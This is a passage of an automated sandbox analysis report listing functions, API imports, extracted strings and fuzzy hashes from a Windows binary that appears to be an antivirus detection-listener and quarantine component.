Opcode Fuzzy Hash: e82685a3153856f58f3176b49433fa40cc0a6602fc72f3bc0670cd1eec4d2bc4
Instruction Fuzzy Hash: EDF0FEF261468085EA62EB22B4123DA6750A79D7A8F800216FB9D476BADE3DC2558A00

Function 000000014000E178 Relevance: 1.5, Strings: 1, Instructions: 260COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 2c0fe4c55243f33cdb34ec3615e3d347b9ce4ba35bb8967fdbcfce9d52a551a3
Instruction ID: 5aef184856849f1d0e814b0a8e39d0e8e949ccad25035a2bf8530ae42cfb47ec
Opcode Fuzzy Hash: 2c0fe4c55243f33cdb34ec3615e3d347b9ce4ba35bb8967fdbcfce9d52a551a3
Instruction Fuzzy Hash: 5CB1CFF36086C482F7A6CE16B6083AABAA5F7597D4F240115FF4973AF4D779C8808B00

Function 000000014000DFFE Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: d0b365294d50e82b05b46562bde9ad75935525663af60c2549490a2d68dcad7f
Instruction ID: 5cc8c865c9461daf8b0756d8ed2731e20d175c685145385c3f78aef56f479fea
Opcode Fuzzy Hash: d0b365294d50e82b05b46562bde9ad75935525663af60c2549490a2d68dcad7f
Instruction Fuzzy Hash: 5FB1A0F26087C486F772CF16B5043AABAA1F7997D4F240115FF5923AE4DBB9C9848B40

Function 00000001400092E0 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00000001400092EB

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 836f1dd34661b3a221f56dc19e791b08cc78d614d7e29c7f03eced68424ee8fe
Instruction ID: 6026514bbd401dabfdc0327cb8eb2cc9cc42ab70edfd582905dc0376ef34508b
Opcode Fuzzy Hash: 836f1dd34661b3a221f56dc19e791b08cc78d614d7e29c7f03eced68424ee8fe
Instruction Fuzzy Hash: 37B09260A61400D1D605AF22AC8538022A0775C340FC00410E20986130DA3C819A8700

Function 000000014000DEFB Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: ac637b882370d0844742d876f6d50665fbc38b4c3acf89c25781960c99b4f2e0
Instruction ID: f0a9775499ae8e11c0cd3741dc570bab2f5201344a81d2c1a5008a9dc88a1dca
Opcode Fuzzy Hash: ac637b882370d0844742d876f6d50665fbc38b4c3acf89c25781960c99b4f2e0
Instruction Fuzzy Hash: 7E91D4F2A047C485FBB2CE16B6083AA7AE0B7597E4F141516FF49236F4DB79C9448B40

Function 000000014000DDFF Relevance: 1.4, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: ab76a755316d4a48554b78acaf832b3985bbd0abb48915d025235a6fa293112f
Instruction ID: 8f8310eeb878d4aa74977829efb49c2c7de80d27e4d4fb150cd5d5e4432a17d7
Opcode Fuzzy Hash: ab76a755316d4a48554b78acaf832b3985bbd0abb48915d025235a6fa293112f
Instruction Fuzzy Hash: 51818FB26087C485F7B2CE16B5083AA7AA0F7997D8F141116FF45636F4DB79C984CB40

Function 000000014000DE96 Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: c4b1ae68995c86a4b6842fa045a9432b0b2524c7844d6ccb0434c0756f7f8cc7
Instruction ID: f8efd74c2ac63e8556513dce229926bc74ff59f5ae5890729ffd39c1599aad0a
Opcode Fuzzy Hash: c4b1ae68995c86a4b6842fa045a9432b0b2524c7844d6ccb0434c0756f7f8cc7
Instruction Fuzzy Hash: BE81B0F2608BC486F7A2CE16B5083AA7AA1F7587E4F140515FF59236F4DB79C984CB40

Function 000000014000CC00 Relevance: .1, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 382482a43049451918361ff49eb8a1074a352d433c0d3f6017d26c5ae398af27
Instruction ID: 63b5043dbdffafa71f1ddaca105bc0afa02b2cba45448f866c4c658d1faf9303
Opcode Fuzzy Hash: 382482a43049451918361ff49eb8a1074a352d433c0d3f6017d26c5ae398af27
Instruction Fuzzy Hash: B031B0B262129045F317AF37F941FAE7652AB897E0F514626FF29477E2CA3C88028704

Function 000000014000C2A0 Relevance: .1, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2d421cb8e45ff6c5d0cd91ffb7c0551f31bf35597a99ffb978e455b190e8185
Instruction ID: b610fbdfd0d7c5655a75ac718b847164fa7f0802b4cc155a4829149d785d36e6
Opcode Fuzzy Hash: b2d421cb8e45ff6c5d0cd91ffb7c0551f31bf35597a99ffb978e455b190e8185
Instruction Fuzzy Hash: FE317EB262129445F717AF37B942BAE7652AB887F0F519716BF39077E2CA7C88018710

Function 00000001400110F0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1ae0088751324d3bee5442ce8c7f4399171e4b45f421078da355ce765193e83
Instruction ID: e0c281a5a51834f3cf9ef76d9d4ef001c4a7356b2a993cafd714ca14a0116626
Opcode Fuzzy Hash: b1ae0088751324d3bee5442ce8c7f4399171e4b45f421078da355ce765193e83
Instruction Fuzzy Hash: F831E472A1029056F31BAF77F881BDEB652A7C87E0F655629BB190B7E3CA3D84008700

Function 00007FFE1320FD40 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a5a5e3725c53a151926f610c9bfb798d223dd818db9d286110f1e1aff9ffe1d
Instruction ID: b6d44495be9a203fe2c7ec73e1dbe77d54a4c1568e75fb48fff8d59d5bfafe36
Opcode Fuzzy Hash: 7a5a5e3725c53a151926f610c9bfb798d223dd818db9d286110f1e1aff9ffe1d
Instruction Fuzzy Hash: F9F06271B196958EEBA49F29A942A2977D4E798390F948079D68D83B14D63C9060CF04

Function 00000001400038D0 Relevance: 68.5, APIs: 23, Strings: 16, Instructions: 239
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWaitableTimer.KERNEL32 ref: 000000014000390C
#4.VSELOG ref: 000000014000395D
#4.VSELOG ref: 000000014000398D
EnterCriticalSection.KERNEL32 ref: 0000000140003996
LeaveCriticalSection.KERNEL32 ref: 00000001400039A7
WaitForMultipleObjects.KERNEL32 ref: 00000001400039CB
#4.VSELOG ref: 0000000140003A04
EnterCriticalSection.KERNEL32 ref: 0000000140003A0D
SetEvent.KERNEL32 ref: 0000000140003A52
ResetEvent.KERNEL32 ref: 0000000140003A5F
LeaveCriticalSection.KERNEL32 ref: 0000000140003A70
#4.VSELOG ref: 0000000140003AA1
#4.VSELOG ref: 0000000140003AD5

Strings

amps_Listen: pHandle=%p, message received, pulling from AMP queue, xrefs: 00000001400039F3
amps_Listen: pHandle=%pobject archive name: %s, xrefs: 0000000140003B74
amps_Listen: pHandle=%psession Id: %d, xrefs: 0000000140003CFB
amps_Listen: pHandle=%p, message is:, xrefs: 0000000140003A90
amps_Listen: pHandle=%pdetection accuracy: %d, xrefs: 0000000140003C2B
amps_Listen: pHandle=%pobject name: %s, xrefs: 0000000140003B02
amps_Listen: pHandle=%p, p=%p, xrefs: 0000000140003949
amps_Listen: pHandle=%pdetection component type: %d, xrefs: 0000000140003C93
null, xrefs: 0000000140003AEF
amps_Listen: pHandle=%pdetection message: %s, xrefs: 0000000140003BED
amps_Listen: pHandle=%peventId: %d, xrefs: 0000000140003AC4
amps_Listen: pHandle=%pdetection name: %s, xrefs: 0000000140003BB2
amps_Listen: pHandle=%pobject type: %d, xrefs: 0000000140003B3D
amps_Listen: pHandle=%paction taken: %d, xrefs: 0000000140003CC7
amps_Listen: pHandle=%p, waiting for messages from the AMP queue, xrefs: 000000014000397C
amps_Listen: pHandle=%pdetection type: %d, xrefs: 0000000140003C5F

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CriticalSection$EnterEventLeave$MultipleObjectsResetTimerWaitWaitable
String ID: amps_Listen: pHandle=%paction taken: %d$amps_Listen: pHandle=%pdetection accuracy: %d$amps_Listen: pHandle=%pdetection component type: %d$amps_Listen: pHandle=%pdetection message: %s$amps_Listen: pHandle=%pdetection name: %s$amps_Listen: pHandle=%pdetection type: %d$amps_Listen: pHandle=%peventId: %d$amps_Listen: pHandle=%pobject archive name: %s$amps_Listen: pHandle=%pobject name: %s$amps_Listen: pHandle=%pobject type: %d$amps_Listen: pHandle=%psession Id: %d$amps_Listen: pHandle=%p, message is:$amps_Listen: pHandle=%p, message received, pulling from AMP queue$amps_Listen: pHandle=%p, p=%p$amps_Listen: pHandle=%p, waiting for messages from the AMP queue$null
API String ID: 1021822269-3147033232
Opcode ID: e7e75cb521e949a2fcfed2942cb356f66ccf7465466a17c5606e033b0a8adf5e
Instruction ID: ec7db78c4d4a766f71db07ed68f83fdabe3b60d74f96cc88383eff92a0be527c
Opcode Fuzzy Hash: e7e75cb521e949a2fcfed2942cb356f66ccf7465466a17c5606e033b0a8adf5e
Instruction Fuzzy Hash: E5D1DAB5205A4592EB12CF17E880BD923A4F78CBE4F454122BB0D4BBB5DF7AD686C350

Function 0000000140001010 Relevance: 38.6, APIs: 12, Strings: 10, Instructions: 89
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32 ref: 0000000140001054
GetProcAddress.KERNEL32 ref: 000000014000106C
FreeLibrary.KERNEL32 ref: 000000014000108F
GetProcAddress.KERNEL32 ref: 00000001400010D2
GetProcAddress.KERNEL32 ref: 00000001400010ED
GetProcAddress.KERNEL32 ref: 0000000140001108
GetProcAddress.KERNEL32 ref: 0000000140001123
GetProcAddress.KERNEL32 ref: 000000014000113E
GetProcAddress.KERNEL32 ref: 0000000140001159
GetProcAddress.KERNEL32 ref: 0000000140001174
FreeLibrary.KERNEL32 ref: 0000000140001194
InitializeCriticalSection.KERNEL32 ref: 00000001400011BE

Strings

vseInit, xrefs: 00000001400010FA
vseExec, xrefs: 0000000140001130
MsiLocateComponentW, xrefs: 0000000140001062
{7A7E8119-620E-4CEF-BD5F-F748D7B059DA}, xrefs: 0000000140001081
vseRelease, xrefs: 0000000140001115
vseGlobalInit, xrefs: 00000001400010C8
vseGlobalRelease, xrefs: 00000001400010DF
vseSet, xrefs: 0000000140001166
msi.dll, xrefs: 0000000140001042
vseGet, xrefs: 000000014000114B

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: AddressProc$Library$Free$CriticalInitializeLoadSection
String ID: MsiLocateComponentW$msi.dll$vseExec$vseGet$vseGlobalInit$vseGlobalRelease$vseInit$vseRelease$vseSet${7A7E8119-620E-4CEF-BD5F-F748D7B059DA}
API String ID: 883923345-381368982
Opcode ID: b9a27f811b976282af616144a97be757c2cf76aa1f8607743da558726ba8644d
Instruction ID: d19804ac2d128cc8e67db72781ea5cb7b7d89be94dae840b99a82102003c66a5
Opcode Fuzzy Hash: b9a27f811b976282af616144a97be757c2cf76aa1f8607743da558726ba8644d
Instruction Fuzzy Hash: F351EEB4221B4191EB52CF26F8987D823A0BB8D7C5F841515EA5E8B3B0EF7AC548C700

Function 0000000140002460 Relevance: 30.1, APIs: 20, Instructions: 110memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002492
LeaveCriticalSection.KERNEL32 ref: 00000001400024A3
SetEvent.KERNEL32 ref: 00000001400024AD
EnterCriticalSection.KERNEL32 ref: 00000001400024C0
LeaveCriticalSection.KERNEL32 ref: 00000001400024D1
WaitForMultipleObjects.KERNEL32 ref: 00000001400024F1
CloseHandle.KERNEL32 ref: 00000001400024FB
CloseHandle.KERNEL32 ref: 0000000140002505
EnterCriticalSection.KERNEL32 ref: 0000000140002514
SetEvent.KERNEL32 ref: 000000014000255E
ResetEvent.KERNEL32 ref: 000000014000256B
LeaveCriticalSection.KERNEL32 ref: 0000000140002575
GetProcessHeap.KERNEL32 ref: 0000000140002591
HeapFree.KERNEL32 ref: 000000014000259F
GetProcessHeap.KERNEL32 ref: 00000001400025AE
HeapFree.KERNEL32 ref: 00000001400025BC
GetProcessHeap.KERNEL32 ref: 00000001400025CB
HeapFree.KERNEL32 ref: 00000001400025D9
GetProcessHeap.KERNEL32 ref: 00000001400025E8
HeapFree.KERNEL32 ref: 00000001400025F6

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Heap$CriticalSection$FreeProcess$EnterEventLeave$CloseHandle$MultipleObjectsResetWait
String ID:
API String ID: 1613947383-0
Opcode ID: e9680c11c9d284b0c3aa37b35d301596d2d95dd61f06f1daf2196339e6fd89f5
Instruction ID: 4415f923c5b49a541c3c18af517eb333de188a5b32bf04682df7988820a44021
Opcode Fuzzy Hash: e9680c11c9d284b0c3aa37b35d301596d2d95dd61f06f1daf2196339e6fd89f5
Instruction Fuzzy Hash: 8D51D3BA204A4496E726DF23F85439A6361F79CBD1F044125EB9A07AB4DF39D599C300

Function 0000000140004500 Relevance: 22.6, APIs: 15, Instructions: 73memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,0000000140002456), ref: 000000014000451B
EnterCriticalSection.KERNEL32(?,?,?,0000000140002456), ref: 0000000140004525
GetProcessHeap.KERNEL32 ref: 000000014000454C
HeapFree.KERNEL32 ref: 000000014000455A
SetEvent.KERNEL32 ref: 0000000140004567
ResetEvent.KERNEL32 ref: 0000000140004571
LeaveCriticalSection.KERNEL32 ref: 000000014000457B
CloseHandle.KERNEL32 ref: 000000014000458A
CloseHandle.KERNEL32 ref: 0000000140004599
LeaveCriticalSection.KERNEL32 ref: 00000001400045A3
DeleteCriticalSection.KERNEL32 ref: 00000001400045AD
GetProcessHeap.KERNEL32 ref: 00000001400045D2
HeapFree.KERNEL32 ref: 00000001400045E0
GetProcessHeap.KERNEL32 ref: 00000001400045F5
HeapFree.KERNEL32 ref: 0000000140004603

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Heap$CriticalSection$FreeProcess$CloseEnterEventHandleLeave$DeleteReset
String ID:
API String ID: 1995290849-0
Opcode ID: 50d905dbcd5d3d8e314177ba4d4162b1dc612bf36ecce00c392234b6cbb64ee5
Instruction ID: 07b3271e3c5f19e1ab061b13c36c38fadfaaa54878a955e19646b3fb384661b9
Opcode Fuzzy Hash: 50d905dbcd5d3d8e314177ba4d4162b1dc612bf36ecce00c392234b6cbb64ee5
Instruction Fuzzy Hash: 7C31D3B6601B41A7EB16DF63F98439833A4FB9CB81F484014EB4A07A35DF39E4B98304

Function 00000001400048A0 Relevance: 22.6, APIs: 15, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400048AD
EnterCriticalSection.KERNEL32 ref: 00000001400048BA
GetProcessHeap.KERNEL32 ref: 00000001400048F1
HeapFree.KERNEL32 ref: 0000000140004903
SetEvent.KERNEL32 ref: 0000000140004917
ResetEvent.KERNEL32 ref: 0000000140004924
LeaveCriticalSection.KERNEL32 ref: 0000000140004931
CloseHandle.KERNEL32 ref: 0000000140004943
CloseHandle.KERNEL32 ref: 0000000140004955
LeaveCriticalSection.KERNEL32 ref: 0000000140004962
DeleteCriticalSection.KERNEL32 ref: 000000014000496F
GetProcessHeap.KERNEL32 ref: 00000001400049A7
HeapFree.KERNEL32 ref: 00000001400049B9
GetProcessHeap.KERNEL32 ref: 00000001400049D5
HeapFree.KERNEL32 ref: 00000001400049E7

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Heap$CriticalSection$FreeProcess$CloseEnterEventHandleLeave$DeleteReset
String ID:
API String ID: 1995290849-0
Opcode ID: 2f4077f28f01d0b1ccc1c48d704ff51649a530c0da5e40bb1ca44111346c6a52
Instruction ID: fd5ea752b6625aace240e5dc115a6ac8a79eac1ae5096a798ed6b9a4de507a32
Opcode Fuzzy Hash: 2f4077f28f01d0b1ccc1c48d704ff51649a530c0da5e40bb1ca44111346c6a52
Instruction Fuzzy Hash: B2311BB4511E0985EB07DF63FC943D423A6BB5CBD5F8D0129AB4A8B270EF3A8499C214

Function 0000000140002DE0 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 166registryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002E63
LeaveCriticalSection.KERNEL32 ref: 0000000140002EE7
EnterCriticalSection.KERNEL32 ref: 0000000140002EF9
EnterCriticalSection.KERNEL32 ref: 0000000140002F35
LeaveCriticalSection.KERNEL32 ref: 0000000140002FC0
RegCreateKeyExW.ADVAPI32 ref: 000000014000300B
RegSetValueExW.ADVAPI32 ref: 000000014000304C
RegCloseKey.ADVAPI32 ref: 0000000140003057
LeaveCriticalSection.KERNEL32 ref: 0000000140003064

Strings

?, xrefs: 0000000140002FFE
SYSTEM\CurrentControlSet\Services\vseamps\Parameters, xrefs: 0000000140002FD5
action, xrefs: 0000000140003020

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CriticalSection$EnterLeave$CloseCreateValue
String ID: ?$SYSTEM\CurrentControlSet\Services\vseamps\Parameters$action
API String ID: 93015348-1041928032
Opcode ID: 29268dff0e12a6c2837206cbe8abbe1365c88675c14f20743fcf2bb12703bfc8
Instruction ID: 955b1bef443a43e40f7389cebc0d05d3cfed999bfec6c75915e9fb821c1678e4
Opcode Fuzzy Hash: 29268dff0e12a6c2837206cbe8abbe1365c88675c14f20743fcf2bb12703bfc8
Instruction Fuzzy Hash: E3714676211A4082E762CB26F8507DA73A5F78D7E4F141226FB6A4B7F4DB3AC485C700

Function 0000000140002B40 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 141libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 0000000140002B91
GetProcAddress.KERNEL32 ref: 0000000140002BAD
GetProcAddress.KERNEL32 ref: 0000000140002BC8
GetProcAddress.KERNEL32 ref: 0000000140002BE3
EnterCriticalSection.KERNEL32 ref: 0000000140002C0D
LeaveCriticalSection.KERNEL32 ref: 0000000140002C9A
EnterCriticalSection.KERNEL32 ref: 0000000140002CAF
LeaveCriticalSection.KERNEL32 ref: 0000000140002D2D

Strings

vseqrtRelease, xrefs: 0000000140002BBA
vseqrtAdd, xrefs: 0000000140002BD5
vseqrt.dll, xrefs: 0000000140002B7E
vseqrtInit, xrefs: 0000000140002BA3

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CriticalSection$AddressProc$EnterLeave$LibraryLoad
String ID: vseqrt.dll$vseqrtAdd$vseqrtInit$vseqrtRelease
API String ID: 3682727354-300733478
Opcode ID: a0032026953fb9b355f8eab640deda5175e427bf7f4d2824b31ceb49df98d19c
